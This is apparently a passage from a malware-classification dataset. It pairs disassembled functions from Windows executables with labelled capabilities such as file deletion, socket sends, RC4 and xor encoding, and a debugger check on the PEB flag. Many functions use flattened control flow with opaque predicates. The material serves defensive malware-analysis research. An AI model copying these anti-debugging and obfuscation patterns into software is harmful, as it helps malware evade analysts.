joyce8/EMBER2024-capa huggingface dataset:
Function at 0x401000
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x452008]
jne 0x40100a
repz ret
jmp fcn.004019bd

Function at 0x407b24
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
call fcn.004026e6
and dword [ebp - 4], 0
cmp dword [0x453cec], 0
mov ebx, eax
jne 0x407bd5
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
test edi, edi
je 0x407c86
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxA
push edi
call esi
test eax, eax
je 0x407c86
push eax
call fcn.00402674
mov dword [esp], str.GetActiveWindow
push edi
mov dword [0x453cec], eax
call esi
push eax
call fcn.00402674
mov dword [esp], str.GetLastActivePopup
push edi
mov dword [0x453cf0], eax
call esi
push eax
call fcn.00402674
mov dword [esp], str.GetUserObjectInformationA
push edi
mov dword [0x453cf4], eax
call esi
push eax
call fcn.00402674
pop ecx
mov dword [0x453cfc], eax
test eax, eax
je 0x407bd5
push str.GetProcessWindowStation
push edi
call esi
push eax
call fcn.00402674
pop ecx
mov dword [0x453cf8], eax
mov eax, dword [0x453cf8]
cmp eax, ebx
je 0x407c2d
cmp dword [0x453cfc], ebx
je 0x407c2d
push eax
call fcn.004026ef
push dword [0x453cfc]
mov esi, eax
call fcn.004026ef
pop ecx
pop ecx
mov edi, eax
test esi, esi
je 0x407c2d
test edi, edi
je 0x407c2d
call esi
test eax, eax
je 0x407c24
lea ecx, [ebp - 8]
push ecx
push 0xc
lea ecx, [ebp - 0x14]
push ecx
push 1
push eax
call edi
test eax, eax
je 0x407c24
test byte [ebp - 0xc], 1
jne 0x407c2d
or dword [ebp + 0x10], 0x200000
jmp 0x407c66
mov eax, dword [0x453cf0]
cmp eax, ebx
je 0x407c66
push eax
call fcn.004026ef
pop ecx
test eax, eax
je 0x407c66
call eax
mov dword [ebp - 4], eax
test eax, eax
je 0x407c66
mov eax, dword [0x453cf4]
cmp eax, ebx
je 0x407c66
push eax
call fcn.004026ef
pop ecx
test eax, eax
je 0x407c66
push dword [ebp - 4]
call eax
mov dword [ebp - 4], eax
push dword [0x453cec]
call fcn.004026ef
pop ecx
test eax, eax
je 0x407c86
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
call eax
jmp 0x407c88
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x434020
Capabilities:
Move file

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
mov eax, dword [ebp + 0xc]
push eax
mov ecx, dword [ebp + 8]
push ecx
call dword [sym.imp.KERNEL32.dll_MoveFileA]
test eax, eax
jne 0x434043
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [ebp - 4], eax
jmp 0x43404a
mov dword [ebp - 4], 0
cmp dword [ebp - 4], 0
je 0x434061
mov edx, dword [ebp - 4]
push edx
call fcn.00435ab0
add esp, 4
or eax, 0xffffffff
jmp 0x434063
xor eax, eax
mov esp, ebp
pop ebp
ret

Function at 0x4341a0
Capabilities:
Delete file

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
test eax, eax
jne 0x4341bf
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [ebp - 4], eax
jmp 0x4341c6
mov dword [ebp - 4], 0
cmp dword [ebp - 4], 0
je 0x4341dd
mov ecx, dword [ebp - 4]
push ecx
call fcn.00435ab0
add esp, 4
or eax, 0xffffffff
jmp 0x4341df
xor eax, eax
mov esp, ebp
pop ebp
ret

Function at 0x43d910
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x4593fc]
jne 0x43d91a
repz ret
jmp fcn.00443ca0
Function at 0x44ed50
Capabilities:
Copy file
Set current directory
Set thread local storage value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xa20
cmp dword [0x4e3abc], 0x37
jne 0x44ee9c
xor eax, eax
mov dword [ebp - 0x30], eax
mov dword [ebp - 0x2c], eax
mov dword [ebp - 0x28], eax
mov dword [ebp - 0x24], eax
lea eax, [ebp - 0x34]
push eax
lea ecx, [ebp - 0x50]
push ecx
push 0x432c30
mov dword [ebp - 0x34], 0
call dword [sym.imp.KERNEL32.dll_BuildCommDCBAndTimeoutsA]
push 0
push 0
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetNamedPipeHandleStateW]
push 0
call dword [sym.imp.KERNEL32.dll_LocalLock]
push 0
push 0x432c38
push 0
push 0x432c58
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CompareStringA]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetProcessShutdownParameters]
xor eax, eax
xor edx, edx
lea ecx, [ebp - 0x20]
mov word [ebp - 0x10], dx
push ecx
lea edx, [ebp - 0x10]
mov dword [ebp - 0xe], eax
mov dword [ebp - 0xa], eax
mov dword [ebp - 6], eax
mov word [ebp - 2], ax
mov word [ebp - 0x20], ax
mov dword [ebp - 0x1e], eax
mov dword [ebp - 0x1a], eax
mov dword [ebp - 0x16], eax
mov word [ebp - 0x12], ax
push edx
lea eax, [ebp - 0x100]
push eax
call dword [sym.imp.KERNEL32.dll_TzSpecificLocalTimeToSystemTime]
push 0
call dword [sym.imp.KERNEL32.dll_SetLastError]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetCurrentConsoleFont]
push 0
push 0
push 0
lea ecx, [ebp - 0x220]
push ecx
call dword [sym.imp.KERNEL32.dll_VerifyVersionInfoW]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_TlsSetValue]
push 0
push 0
push 0
push 0
push 0x432c80
push 0x432cd0
call dword [sym.imp.KERNEL32.dll_CopyFileExW]
push 0
lea edx, [ebp - 0xa20]
push edx
push 0x432ce0
call dword [sym.imp.KERNEL32.dll_GetLongPathNameW]
push 0x432d04
call dword [sym.imp.KERNEL32.dll_SetCurrentDirectoryA]
push 0x432d2c
push 0x432d68
call dword [sym.imp.KERNEL32.dll_SetVolumeMountPointW]
call dword [sym.imp.KERNEL32.dll_IsSystemResumeAutomatic]
push 0
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsA]
push 0
push 0
push 0x432dc8
call dword [sym.imp.KERNEL32.dll_FindFirstChangeNotificationW]
mov eax, dword [0x4e3ac0]
mov edx, dword [0x4e00c8]
mov cl, byte [eax + esi + 0x12336]
mov byte [edx + esi], cl
mov esp, ebp
pop ebp
ret
Function at 0x44f290
Capabilities:
Copy file
Read .ini file
Set thread local storage value
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xa34
mov eax, dword [0x4e00c8]
push ebx
push esi
mov esi, dword [0x4e3abc]
push edi
mov dword [ebp - 4], eax
cmp esi, 0x516
jne 0x44f2c3
push 0
lea ecx, [ebp - 0xa34]
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_VerLanguageNameW]
shr esi, 3
mov ebx, esi
xor edi, edi
test ebx, ebx
je 0x44f30c
mov esi, dword [ebp - 4]
cmp dword [0x4e3abc], 0x29
jne 0x44f2f2
push 0
push 0
push 0
push 0
push 0x432b10
push 0x432b28
call dword [sym.imp.KERNEL32.dll_CopyFileExA]
cmp dword [0x4e3abc], 0x1c
je 0x44f315
mov eax, dword [ebp + 8]
push esi
call fcn.0044f130
inc edi
add esi, 8
cmp edi, ebx
jb 0x44f2d1
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetConsoleMode]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_TlsSetValue]
call dword [sym.imp.KERNEL32.dll_GetConsoleCP]
push 0x432b4c
push 0
lea edx, [ebp - 0x634]
push edx
push 0x432b88
push 0x432be8
push 0x432c00
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileStringA]
push 0
push 0
push 0
lea eax, [ebp - 0x234]
push eax
call dword [sym.imp.KERNEL32.dll_VerifyVersionInfoW]
lea ecx, [ebp - 0x118]
push ecx
call dword [sym.imp.KERNEL32.dll_GetVersionExW]
call dword [sym.imp.KERNEL32.dll_WTSGetActiveConsoleSessionId]
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
Function at 0x44f390
Capabilities:
Copy file
Create pipe
Get common file path
Read .ini file

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x32f0
call fcn.00440250
mov dword [ebp - 4], 0
jmp 0x44f3af
mov eax, dword [ebp - 4]
add eax, 1
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0x332beaf6
jge 0x44f46e
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp dword [0x4e3abc], 0x16
jne 0x44f40a
lea ecx, [ebp - 0x474]
push ecx
push 0
lea edx, [ebp - 0x878]
push edx
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetCalendarInfoA]
push 0x432e04
push 0
lea eax, [ebp - 0x470]
push eax
push 0x432e0c
push 0x432e1c
push 0x432e34
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileStringA]
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp dword [0x4e3abc], 0x9e
jne 0x44f45e
push 0
push 0
push 0
push 0
push 0x432e64
push 0x432e74
call dword [sym.imp.KERNEL32.dll_CopyFileExA]
push 0
lea ecx, [ebp - 0xd98]
push ecx
call dword [sym.imp.KERNEL32.dll_GetSystemWow64DirectoryA]
push 0
lea edx, [ebp - 0x1198]
push edx
call dword [sym.imp.KERNEL32.dll_GetSystemWindowsDirectoryA]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetCPInfoExW]
cmp dword [ebp - 4], 0x3775ee
jle 0x44f469
jmp 0x44f46e
jmp 0x44f3a6
push 0x459f50
call fcn.0044f290
mov dword [ebp - 0x119c], 0
jmp 0x44f493
mov eax, dword [ebp - 0x119c]
add eax, 1
mov dword [ebp - 0x119c], eax
cmp dword [ebp - 0x119c], 0x3e79e
jge 0x44f4d4
cmp dword [0x4e3abc], 0x10
jne 0x44f4c1
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push 0x432eac
call dword [sym.imp.KERNEL32.dll_CreateNamedPipeA]
cmp dword [ebp - 0x119c], 0x1e673
jne 0x44f4d2
call fcn.0044ed40
jmp 0x44f484
mov dword [ebp - 0x11a0], 0
jmp 0x44f4ef
mov ecx, dword [ebp - 0x11a0]
add ecx, 1
mov dword [ebp - 0x11a0], ecx
cmp dword [ebp - 0x11a0], 0xdd9a7
jge 0x44f555
cmp dword [0x4e3abc], 0xc01
jne 0x44f553
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_HeapValidate]
push 0x432edc
push 0
push 0x432ef4
push 0x432f04
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileIntA]
push 0x432f18
push 0
lea edx, [ebp - 0x15a0]
push edx
push 0x432f28
push 0x432f54
push 0x432f88
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileStringA]
jmp 0x44f4e0
jmp dword [0x4e00c8]
Function at 0x43fbd0
Capabilities:
Initialize winsock library

Disassembly:
push ebp
push ebx
push edi
push esi
sub esp, 0x1a0
mov eax, dword [0x5cc180]
xor eax, esp
mov dword [esp + 0x19c], eax
mov dword [esp], ecx
mov esi, dword [esp]
mov eax, dword [esp]
mov byte [eax], 0
lea eax, [esp + 0xc]
push eax
push 2
call dword [sym.imp.WS2_32.dll_WSAStartup]
mov dword [esp + 4], eax
mov ebx, 0x21d6635a
mov eax, 0x1fc66380
mov edx, 0xb846203a
mov edi, 0xbc54574d
nop dword [eax]
cmp ebx, 0x1e3b436
jle 0x43fc60
cmp ebx, 0x1e3b437
je 0x43fc85
cmp ebx, 0x1fc66380
je 0x43fd0e
cmp ebx, 0x21d6635a
jne 0x43fc20
cmp dword [esp + 4], 0
mov ebx, 0x1e3b437
cmove ebx, edi
jmp 0x43fc20
cmp ebx, 0x8129e00f
je 0x43fcc5
cmp ebx, 0xb846203a
je 0x43fccf
cmp ebx, 0xbc54574d
jne 0x43fc20
mov ebx, dword [esp]
mov byte [ebx], 1
mov ebx, 0x1e3b437
jmp 0x43fc20
mov ecx, dword [0x5cf3e0]
mov ebp, dword [0x5cf3e4]
lea ebx, [ecx + 1]
imul ebx, ecx
not ebx
or ebx, 0xfffffffe
cmp ebx, 0xffffffff
sete cl
cmp ebp, 0xa
setl ch
xor ch, cl
mov ecx, 0x8129e00f
cmovne ecx, edx
cmp ebx, 0xffffffff
mov ebx, ecx
cmove ebx, edx
cmp ebp, 0xa
cmovge ebx, ecx
jmp 0x43fc20
mov ebx, 0xb846203a
jmp 0x43fc20
mov dword [esp + 8], esi
mov ecx, dword [0x5cf3e0]
lea ebx, [ecx + 1]
imul ebx, ecx
not ebx
or ebx, 0xfffffffe
cmp ebx, 0xffffffff
sete cl
mov ebx, 0x8129e00f
cmove ebx, eax
cmp dword [0x5cf3e4], 0xa
mov ebp, 0x8129e00f
cmovge ebx, ebp
setl ch
xor ch, cl
cmovne ebx, eax
jmp 0x43fc20
mov esi, dword [esp + 8]
mov ecx, dword [esp + 0x19c]
xor ecx, esp
call fcn.00594995
mov eax, esi
add esp, 0x1a0
pop esi
pop edi
pop ebx
pop ebp
ret
Function at 0x4670a0
Capabilities:
Encode data using xor

Disassembly:
push ebp
push ebx
push edi
push esi
sub esp, 0x10
mov eax, dword [0x5cfc00]
lea edx, [eax - 1]
imul edx, eax
not edx
or edx, 0xfffffffe
cmp edx, 0xffffffff
sete byte [esp]
mov eax, dword [0x5cfc04]
sete bl
mov edi, 0xceed0c17
mov edx, 0x8e8f3504
mov esi, 0x8e8f3504
cmove esi, edi
cmp eax, 0xa
setl bh
setl byte [esp + 1]
mov ebp, dword [ecx]
cmovge esi, edx
xor bh, bl
cmovne esi, edi
mov ebx, 0x8813ed3e
mov edi, 0xc99808c9
nop word [eax + eax]
cmp ebx, 0xc99808c8
jle 0x467120
cmp ebx, 0xc99808c9
je 0x467137
cmp ebx, 0xceed0c17
jne 0x467100
jmp 0x467162
cmp ebx, 0x8813ed3e
je 0x46713b
cmp ebx, 0x8e8f3504
jne 0x467100
mov ebx, 0xc99808c9
jmp 0x467100
mov ebx, esi
jmp 0x467100
movzx eax, byte [esp]
mov dh, byte [esp + 1]
mov dl, al
xor dl, dh
test dh, dh
mov ebx, 0x8e8f3504
cmovne ebx, edi
test al, al
mov eax, 0x8e8f3504
cmove ebx, eax
test dl, dl
cmovne ebx, edi
jmp 0x467100
mov eax, dword [0x5cfc08]
mov esi, dword [0x5cfc0c]
lea edi, [eax + 1]
imul edi, eax
not edi
or edi, 0xfffffffe
cmp edi, 0xffffffff
sete al
cmp esi, 0xa
setl dl
xor dl, al
mov edx, 0xbf33c509
mov ebx, 0x60b20c9d
cmovne ebx, edx
cmp edi, 0xffffffff
mov dword [esp + 8], ebp
mov eax, dword [esp + 8]
mov eax, dword [eax]
sete byte [esp + 2]
cmovne edx, ebx
cmp esi, 0xa
setl byte [esp + 3]
mov ecx, dword [ecx + 4]
mov dword [esp + 4], ecx
cmovge edx, ebx
mov edi, 0xfad1d18a
mov ebp, 0x20d47fd5
nop word cs:[eax + eax]
cmp edi, 0x20d47fd4
jg 0x467210
cmp edi, 0xbf33c509
je 0x46722b
cmp edi, 0xfad1d18a
jne 0x4671d0
movzx ecx, byte [esp + 2]
mov bh, byte [esp + 3]
mov bl, cl
xor bl, bh
mov esi, 0x60b20c9d
cmovne esi, ebp
test bh, bh
mov edi, esi
cmovne edi, ebp
test cl, cl
cmove edi, esi
jmp 0x4671d0
cmp edi, 0x20d47fd5
je 0x467227
cmp edi, 0x60b20c9d
jne 0x4671d0
mov edi, 0x20d47fd5
jmp 0x4671d0
mov edi, edx
jmp 0x4671d0
mov ecx, 1
mov edx, dword [esp + 4]
shlx ecx, ecx, edx
mov dword [esp + 0xc], ecx
mov ecx, dword [esp + 0xc]
xor eax, ecx
andn eax, eax, ecx
setne al
add esp, 0x10
pop esi
pop edi
pop ebx
pop ebp
ret
Function at 0x46b7e0
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebp
push ebx
push edi
push esi
sub esp, 8
mov esi, ecx
mov eax, dword [0x5cfc98]
mov ecx, dword [0x5cfc9c]
lea edx, [eax + 1]
imul edx, eax
mov eax, edx
xor eax, 0xfffffffe
test eax, edx
sete byte [esp + 2]
cmp ecx, 0xa
setl byte [esp + 3]
movzx ecx, byte [esp + 0x20]
movzx edx, word [esp + 0x1c]
mov eax, 0x111a96b3
movzx edi, cl
movsx ebx, dx
nop word cs:[eax + eax]
cmp eax, 0xc747752c
jg 0x46b860
cmp eax, 0x98520ebd
je 0x46b8f6
cmp eax, 0x98a6e413
jne 0x46b830
mov ecx, esi
push edi
push ebx
push dword [esi + 4]
call fcn.0046c810
mov eax, 0xc747752d
jmp 0x46b830
cmp eax, 0xc747752d
je 0x46b89c
cmp eax, 0x111a96b3
jne 0x46b830
movzx ecx, byte [esp + 2]
movzx eax, byte [esp + 3]
mov edx, ecx
xor dl, al
test al, al
mov eax, 0x98a6e413
mov ebp, 0xc747752d
cmovne eax, ebp
test cl, cl
mov ecx, 0x98a6e413
cmove eax, ecx
test dl, dl
cmovne eax, ebp
jmp 0x46b830
mov ecx, esi
push edi
push ebx
push dword [esi + 4]
call fcn.0046c810
mov eax, dword [0x5cfc98]
mov ecx, dword [0x5cfc9c]
lea edx, [eax + 1]
imul edx, eax
mov eax, edx
xor eax, 0xfffffffe
test eax, edx
mov dword [esp + 4], esi
mov esi, ebx
sete bl
cmp ecx, 0xa
setl bh
xor bh, bl
mov ebx, 0x98a6e413
mov ebp, 0x98520ebd
cmovne ebx, ebp
test eax, edx
mov eax, ebx
cmove eax, ebp
cmp ecx, 0xa
cmovge eax, ebx
mov ebx, esi
mov esi, dword [esp + 4]
jmp 0x46b830
add esp, 8
pop esi
pop edi
pop ebx
pop ebp
ret 8
Function at 0x49d670
Capabilities:
Get local ipv4 addresses
Get socket information

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
and esp, 0xfffffff8
sub esp, 0x98
mov esi, ecx
mov eax, dword [0x5cc180]
xor eax, ebp
mov dword [esp + 0x90], eax
mov eax, dword [0x5d03e0]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, dword [0x5d03e4]
not ecx
or ecx, 0xfffffffe
cmp ecx, 0xffffffff
sete byte [esp + 6]
cmp eax, 0xa
setl byte [esp + 7]
mov eax, 0x2ea1b74a
lea ebx, [esp + 0x10]
nop dword [eax]
cmp eax, 0x116ac100
jg 0x49d6e0
cmp eax, 0xa4cc9deb
je 0x49d71b
cmp eax, 0x10ed6e5b
jne 0x49d6c0
jmp 0x49d842
cmp eax, 0x116ac101
je 0x49d78d
cmp eax, 0x2ea1b74a
jne 0x49d6c0
movzx ecx, byte [esp + 6]
movzx eax, byte [esp + 7]
mov edx, ecx
xor dl, al
mov edx, 0x116ac101
mov edi, 0xa4cc9deb
cmovne edx, edi
test al, al
mov eax, edx
cmovne eax, edi
test cl, cl
cmove eax, edx
jmp 0x49d6c0
mov eax, dword [esi + 4]
mov dword [esp + 0xc], 0x80
lea ecx, [esp + 0xc]
push ecx
push ebx
push eax
call dword [sym.imp.WS2_32.dll_getsockname]
mov dword [esp + 8], eax
mov eax, 0xa063cd56
jmp 0x49d760
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [esp + 0x14]
push ebx
call fcn.004a0030
add esp, 0x10
mov eax, 0xa1cba2a0
nop word cs:[eax + eax]
cmp eax, 0xfa01a94
je 0x49d73e
cmp eax, 0xa1cba2a0
je 0x49d7f9
cmp eax, 0xa063cd56
jne 0x49d760
cmp dword [esp + 8], 0
mov eax, 0xa1cba2a0
mov ecx, 0xfa01a94
cmove eax, ecx
jmp 0x49d760
mov eax, dword [esi + 4]
mov dword [esp + 0xc], 0x80
lea ecx, [esp + 0xc]
push ecx
push ebx
push eax
call dword [sym.imp.WS2_32.dll_getsockname]
mov dword [esp + 8], eax
mov eax, 0xa063cd56
jmp 0x49d7d0
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [esp + 0x14]
push ebx
call fcn.004a0030
add esp, 0x10
mov eax, 0xa1cba2a0
nop dword [eax + eax]
cmp eax, 0xfa01a94
je 0x49d7b0
cmp eax, 0xa1cba2a0
je 0x49d838
cmp eax, 0xa063cd56
jne 0x49d7d0
cmp dword [esp + 8], 0
mov eax, 0xa1cba2a0
mov ecx, 0xfa01a94
cmove eax, ecx
jmp 0x49d7d0
mov eax, dword [0x5d03e0]
lea ecx, [eax + 1]
imul ecx, eax
not ecx
or ecx, 0xfffffffe
cmp ecx, 0xffffffff
sete cl
mov eax, 0x116ac101
mov edi, 0x10ed6e5b
cmove eax, edi
cmp dword [0x5d03e4], 0xa
mov edx, 0x116ac101
cmovge eax, edx
setl dl
xor dl, cl
cmovne eax, edi
jmp 0x49d6c0
mov eax, 0xa4cc9deb
jmp 0x49d6c0
mov ecx, dword [esp + 0x90]
xor ecx, ebp
call fcn.00594995
lea esp, [ebp - 0xc]
pop esi
pop edi
pop ebx
pop ebp
ret 8
Function at 0x49f590
Capabilities:
Get socket status

Disassembly:
push ebp
push ebx
push edi
push esi
push eax
mov ecx, 0xa0ad8877
xor esi, esi
mov edi, dword [sym.imp.WS2_32.dll_select]
jmp 0x49f5b0
call fcn.0059db37
mov ecx, 0x17dcd9ce
nop
cmp ecx, 0xb05ec6ef
jle 0x49f5e0
cmp ecx, 0x285bb8e9
jle 0x49f610
cmp ecx, 0x285bb8ea
je 0x49f5a4
cmp ecx, 0x7f9aa848
jne 0x49f729
mov ecx, 0x4ceccace
jmp 0x49f5b0
cmp ecx, 0xa73be596
jg 0x49f680
cmp ecx, 0x8b772157
je 0x49f6c3
cmp ecx, 0xa0ad8877
jne 0x49f5b0
mov ecx, 0xa7e93ca7
jmp 0x49f5b0
cmp ecx, 0xb05ec6f0
je 0x49f6dd
cmp ecx, 0x17dcd9ce
jne 0x49f5b0
call fcn.0059db37
mov ecx, dword [0x5d0420]
mov edx, dword [0x5d0424]
lea ebx, [ecx - 1]
imul ebx, ecx
not ebx
or ebx, 0xfffffffe
cmp ebx, 0xffffffff
sete cl
cmp edx, 0xa
setl ch
xor ch, cl
mov ecx, 0x8b772157
mov ebp, 0x8b772157
jne 0x49f65f
mov ebp, 0x285bb8ea
cmp ebx, 0xffffffff
cmovne ecx, ebp
cmp edx, 0xa
cmovge ecx, ebp
cmp dword [eax], 4
sete byte [esp + 3]
jmp 0x49f5b0
cmp ecx, 0xa73be597
je 0x49f6e7
cmp ecx, 0xa7e93ca7
jne 0x49f5b0
mov eax, dword [esp + 0x18]
mov eax, dword [eax]
inc eax
push dword [esp + 0x20]
push 0
push dword [esp + 0x24]
push 0
push eax
call edi
mov esi, eax
mov ecx, 0xa73be597
test eax, eax
js 0x49f5b0
mov ecx, 0x7f9aa848
jmp 0x49f5b0
cmp byte [esp + 3], 0
mov ecx, 0xb05ec6f0
jne 0x49f5b0
mov ecx, 0x7f9aa848
jmp 0x49f5b0
mov ecx, 0xa0ad8877
jmp 0x49f5b0
mov eax, dword [0x5d0420]
lea edx, [eax + 1]
imul edx, eax
mov ebp, edx
xor ebp, 0xfffffffe
mov eax, 0x17dcd9ce
mov ecx, 0x285bb8ea
mov ebx, 0x17dcd9ce
test ebp, edx
sete dl
je 0x49f712
mov ebx, 0x285bb8ea
cmp dword [0x5d0424], 0xa
cmovl ecx, ebx
setl dh
xor dh, dl
cmovne ecx, eax
jmp 0x49f5b0
cmp ecx, 0x4ceccace
jne 0x49f5b0
mov eax, esi
add esp, 4
pop esi
pop edi
pop ebx
pop ebp
ret
Function at 0x49fb50
Capabilities:
Send data
Send data on socket

Disassembly:
push ebp
push ebx
push edi
push esi
sub esp, 8
mov eax, dword [0x5d0430]
mov ecx, dword [0x5d0434]
lea edx, [eax + 1]
imul edx, eax
mov eax, edx
xor eax, 0xfffffffe
test eax, edx
sete byte [esp + 2]
cmp ecx, 0xa
setl byte [esp + 3]
mov eax, 0xe50ad08f
mov ebx, dword [sym.imp.WS2_32.dll_send]
mov ebp, 0xeed06792
mov edi, 0xc8017175
nop word cs:[eax + eax]
cmp eax, 0xeed06791
jg 0x49fbf0
cmp eax, 0xc8017175
je 0x49fca9
cmp eax, 0xe50ad08f
jne 0x49fba0
movzx ecx, byte [esp + 2]
movzx eax, byte [esp + 3]
mov edx, ecx
xor dl, al
test al, al
mov eax, 0x5699fdac
cmovne eax, edi
test cl, cl
mov ecx, 0x5699fdac
cmove eax, ecx
test dl, dl
cmovne eax, edi
jmp 0x49fba0
cmp eax, 0xeed06792
je 0x49fd7e
cmp eax, 0x5699fdac
jne 0x49fba0
mov ecx, 0x196ba883
nop word [eax + eax]
cmp ecx, 0xc14aaf17
jg 0x49fc60
cmp ecx, 0x9818658c
je 0x49fc02
cmp ecx, 0xa2532d2a
je 0x49fc95
cmp ecx, 0xac565c85
jne 0x49fc10
push dword [esp + 0x28]
push dword [esp + 0x28]
push dword [esp + 0x28]
push dword [esp + 0x28]
call ebx
mov ecx, 0x47b662f7
test eax, eax
js 0x49fc10
mov ecx, 0xa2532d2a
jmp 0x49fc10
cmp ecx, 0xc14aaf18
je 0x49fd30
cmp ecx, 0x196ba883
je 0x49fc9f
cmp ecx, 0x47b662f7
jne 0x49fc10
call fcn.0059db37
cmp dword [eax], 4
mov ecx, 0x9818658c
je 0x49fc10
mov ecx, 0xa2532d2a
jmp 0x49fc10
mov ecx, 0xc14aaf18
jmp 0x49fc10
mov ecx, 0xac565c85
jmp 0x49fc10
mov eax, 0x196ba883
xor esi, esi
cmp eax, 0xc14aaf17
jg 0x49fcf0
cmp eax, 0x9818658c
je 0x49fd1b
cmp eax, 0xa2532d2a
je 0x49fd22
cmp eax, 0xac565c85
jne 0x49fcb0
push dword [esp + 0x28]
push dword [esp + 0x28]
push dword [esp + 0x28]
push dword [esp + 0x28]
call ebx
mov esi, eax
mov eax, 0x47b662f7
test esi, esi
js 0x49fcb0
mov eax, 0xa2532d2a
jmp 0x49fcb0
cmp eax, 0xc14aaf18
je 0x49fd3a
cmp eax, 0x196ba883
je 0x49fd29
cmp eax, 0x47b662f7
jne 0x49fcb0
call fcn.0059db37
cmp dword [eax], 4
mov eax, 0x9818658c
je 0x49fcb0
mov eax, 0xa2532d2a
jmp 0x49fcb0
mov eax, 0x196ba883
jmp 0x49fcb0
mov eax, 0xc14aaf18
jmp 0x49fcb0
mov eax, 0xac565c85
jmp 0x49fcb0
mov eax, 0xc8017175
jmp 0x49fba0
mov edx, dword [0x5d0430]
mov ecx, dword [0x5d0434]
lea eax, [edx + 1]
imul eax, edx
not eax
or eax, 0xfffffffe
cmp eax, 0xffffffff
sete dl
cmp ecx, 0xa
setl dh
xor dh, dl
mov edx, 0x5699fdac
cmovne edx, ebp
cmp eax, 0xffffffff
mov eax, edx
cmove eax, ebp
cmp ecx, 0xa
mov dword [esp + 4], esi
cmovge eax, edx
jmp 0x49fba0
mov eax, dword [esp + 4]
add esp, 8
pop esi
pop edi
pop ebx
pop ebp
ret
Function at 0x4f8ad0
Capabilities:
Check for peb beingdebugged flag

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
and esp, 0xfffffff8
sub esp, 0x48
mov esi, esp
mov dword [esi + 0x30], ebp
mov dword [esi + 0x34], esp
mov dword [esi + 0x40], 0xffffffff
lea eax, [esi + 0x38]
mov dword [esi + 0x3c], 0x5943b0
mov edx, dword fs:[0]
mov dword [esi + 0x38], edx
mov dword fs:[0], eax
mov eax, dword [0x5d01e8]
mov edx, dword [0x5d01ec]
lea edi, [eax + 1]
imul edi, eax
not edi
or edi, 0xfffffffe
cmp edi, 0xffffffff
sete byte [esi + 2]
mov edi, 0x2ff4d7b7
mov eax, 0xcba4e992
cmove eax, edi
sete bl
cmp edx, 0xa
setl byte [esi + 3]
mov edx, 0xcba4e992
cmovge eax, edx
setl bh
xor bh, bl
cmovne eax, edi
mov dword [esi + 4], ecx
mov edx, dword [ebp + 8]
mov ebx, 0xe54a85d1
nop word cs:[eax + eax]
cmp ebx, 0x2ff4d7b6
jg 0x4f8bb0
cmp ebx, 0xcba4e992
je 0x4f8bc4
cmp ebx, 0xe54a85d1
jne 0x4f8b60
movzx ecx, byte [esi + 2]
mov dh, byte [esi + 3]
mov dl, cl
xor dl, dh
test dh, dh
mov ebx, 0xcba4e992
mov edi, 0x6c73756d
cmovne ebx, edi
test cl, cl
mov ecx, 0xcba4e992
cmove ebx, ecx
test dl, dl
mov edx, dword [ebp + 8]
cmovne ebx, edi
jmp 0x4f8b60
cmp ebx, 0x2ff4d7b7
je 0x4f8bcb
cmp ebx, 0x6c73756d
jne 0x4f8b60
mov ebx, eax
jmp 0x4f8b60
mov ebx, 0x6c73756d
jmp 0x4f8b60
mov dword [esi + 0x2c], 0
mov dword [esi + 0x40], 0
lea ecx, [esi + 8]
push edx
call fcn.004f9310
mov eax, dword [0x5d1360]
mov ecx, dword [0x5d1364]
lea edx, [eax + 1]
imul edx, eax
mov eax, edx
xor eax, 0xfffffffe
test eax, edx
sete byte [esi + 2]
cmp ecx, 0xa
setl byte [esi + 3]
mov eax, 0x919e5d4b
lea edi, [esi + 8]
nop dword [eax]
cmp eax, 0xda51e8f6
jg 0x4f8c50
cmp eax, 0x870fbd8e
je 0x4f8cba
cmp eax, 0x919e5d4b
jne 0x4f8c10
movzx ecx, byte [esi + 2]
movzx eax, byte [esi + 3]
mov edx, ecx
xor dl, al
mov edx, 0xda51e8f7
